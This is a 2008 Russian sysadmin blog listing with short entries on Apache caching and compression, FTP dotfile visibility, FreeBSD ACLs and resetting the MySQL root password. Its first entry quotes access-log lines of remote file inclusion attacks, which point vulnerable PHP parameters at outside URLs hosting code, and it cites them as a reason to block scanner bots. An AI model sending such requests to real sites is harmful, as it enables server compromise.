=

82 Борьба со сканнерами-спаммерами

Последнее время в логах сайта огромное количество подобных запросов.
Избавляемся от супостатов подручными средствами.

...
69.73.189.182 - - [05/Oct/2008:03:31:29 +0400] "GET /page/5/errors.php?error=http://www.ezy-hosts.com//temp/errors??? HTTP/1.1" 200 626 "-" "libwww-perl/5.79"
72.249.95.130 - - [05/Oct/2008:03:32:15 +0400] "GET /galleria.html.php?mosConfig_absolute_path=http://ctg.su/files/bodo.txt??? HTTP/1.1" 200 630 "-" "libwww-perl/5.805"
62.44.82.234 - - [05/Oct/2008:03:26:25 +0400] "GET /errors.php?error=http://www.stichtingopvangratten.nl/cache/response.txt??? HTTP/1.1" 200 639 "-" "libwww-perl/5.803"
61.80.90.1 - - [05/Oct/2008:03:19:38 +0400] "GET /errors.php?error=http://oursoultvxq.com/bbs/data/vip/id2.txt??? HTTP/1.1" 200 620 "-" "libwww-perl/5.79"
61.80.90.1 - - [05/Oct/2008:03:19:38 +0400] "GET /bans/page/6/errors.php?error=http://oursoultvxq.com/bbs/data/vip/id2.txt??? HTTP/1.1" 200 632 "-" "libwww-perl/5.79"
...


Добавлено : Пн Окт 06, 2008 20:26

Автор : surg30n

Просмотров : 5142

83 Mod_expires И mod_deflate

Кэшируем изображения и сжимаем странички апачем.

ExpiresActive On
#day
ExpiresByType text/css "access plus 7 day"
ExpiresByType text/javascript "access plus 7 day"
#month
ExpiresByType image/gif A2592000
ExpiresByType image/jpg A2592000
ExpiresByType image/png A2592000
 
DeflateBufferSize 16384
DeflateCompressionLevel 5
 
AddOutputFilterByType DEFLATE text/html text/plain text/xml text/javascript text/css text/xml application/xhtml+xml

Добавлено : Сб Авг 30, 2008 21:05

Автор : surg30n

Просмотров : 6146

84 момент Guide to Programming with Zend Framework by Cal Evans

Посмотрел начало книжечки php|architect’s Guide to Programming with Zend Framework by Cal Evans

Там товарищ Кал Еванс пишет:

>> It’s just that easy. Since we are storing the instance of Zend_Config_Ini the first time
>> we call getConfig() there is no performance penalty to making multiple calls.

Якобы вызов многоразовый вызов getConfig() вместо прямого обращения к объекту не отражается на производительности и не стоит
волновать по этому поводу. Спички конечно, но сишники бы затоптали точно...

Добавлено : Вт Авг 26, 2008 19:25

Автор : surg30n

Просмотров : 5081

86 Не отображаются системные файлы через FTP (.htaccess)

FTP клиент не отображает файлы, которые начинаются с точки "."?.

Исправляем

Far

В настройках соединения FTP:
Расширенный список: LIST -la

Total Commander

В файле wcx_ftp.ini, раздел [General], пишем FtpShowHidden=1 и перезапускаем Total Commander

Сервер proftpd

Устанавливаем расширенный режим по-умолчанию на сервере.
Файл конфигурации /usr/local/etc/proftpd.conf

Добавляем директиву ListOptions "-a"

Добавлено : Ср Авг 06, 2008 18:24

Автор : surg30n

Просмотров : 6875

87 FreeBSD ACLs

Ситуация такая: есть папка /www (web:www 751)

Необходимо предоставить фтп доступ к папке еще несокльким пользователям из группы seo_users
Включаем аклы, собираем профтпд с поддержкой аклов.

Собственно устанавливаем сами аклы на файлы:
cd /www
    find . -type f -exec setfacl -m g:seo_users:rw-,mask::rwx {} \;
    find . -type d -exec setfacl -d -m u::rwx,g::rwx,o::---,mask::rw-,g:seo_users:rwx {} \;
    find . -type d -exec setfacl -m g:seo_users:rw- {} \;


А вопрос вот в чем:

Когда права для группы стоят rw, то аклы работают, если убрать -w то effective mask становится запрещающей
и доступа у пользователя к файлу уже нет.

Возможно ли как то отключить привязку права группы <--> маска? Почему chmod группы меняет права доступов acl?

Добавлено : Вт Авг 05, 2008 23:23

Автор : surg30n

Просмотров : 6548

88 Ускоряем десктоп (nvidia geForce 8x/9x) в Ubuntu

Наверное все владельцы карт 8 и следующих серий замечали что в линухе уж очень тормозит 2D графика.
Взять тот же firefox - сайты обогащенные графикой жутко лагают при рендеринге.. Чтож исправляем недостаток.

Проверено на себе!

Добавлено : Ср Июл 30, 2008 2:16

Автор : surg30n

Просмотров : 5867

89 Сброс пароля root в MySQL, Postgresql, FreeBSD

Добавляем в начале файла /usr/local/etc/rc.d/mysql-server
строчку:

mysql_args="--init-file=/root/reset"

Далее, создаем файл /root/reset с содержимым

UPDATE mysql.user SET Password=PASSWORD('password') WHERE User='root';
GRANT ALL PRIVILEGES ON *.* TO root@localhost IDENTIFIED BY PASSWORD PASSWORD('password') WITH GRANT OPTION;
FLUSH PRIVILEGES;


Рестартим mysql - /usr/local/etc/rc.d/mysql-server restart
Mysql выполнит указанный скрипт при запуске и установит новый пароль для рута.

Не забудте закомментить добавленную строку.

Добавлено : Чт Июл 24, 2008 19:06

Автор : surg30n

Просмотров : 13898

Поиск по сайту